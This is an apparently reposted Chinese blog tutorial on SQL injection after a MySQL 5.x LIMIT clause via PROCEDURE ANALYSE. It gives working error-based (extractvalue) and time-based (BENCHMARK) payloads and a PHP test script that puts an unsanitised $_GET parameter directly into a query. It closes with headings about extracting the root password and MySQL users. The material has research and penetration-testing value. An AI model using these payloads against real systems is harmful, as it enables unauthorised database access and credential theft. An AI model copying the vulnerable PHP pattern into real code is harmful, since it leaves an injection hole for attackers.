很长一段时间我、以及很多同学认为"mysql limit后的注入点"是没办法解决的难题，但这次真的被解决了。我很少转载文章，这次再破个例。

原文： https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ http://zone.wooyun.org/content/18220

此方法适用于MySQL 5.x中，在limit语句后面的注入

例如：

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
```   上面的语句包含了ORDER BY，MySQL当中UNION语句不能在ORDER BY的后面，否则利用UNION很容易就可以读取数据了，看看在MySQL 5中的SELECT语法： ```
SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的，那么使用PROCEDURE函数能否注入呢？ Let's give it a try:

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数：

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); 

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好，继续尝试：

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

但是立即返回了一个错误信息：

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

sleep函数肯定没有执行，但是最终我还是找到了可以攻击的方式：

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话，还可以基于时间注入：

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行，需要用BENCHMARK代替。

我亲测好用~这里附上我的测试代码：

<?php 
header("Content-Type: text/plain; charset=utf-8");
require("mysql.class.php");
$mysql = new MySQL("test", "root", "root");

$users = $mysql->executeSQL("SELECT * FROM user where uid < 100 ORDER BY uid limit {$_GET['p']}, 10");
if($users){
$users = var_export($users, TRUE);
echo $users;
}else{
    echo $mysql->lastError;
}

报错注入获得root密码：

报错注入获得mysql用户：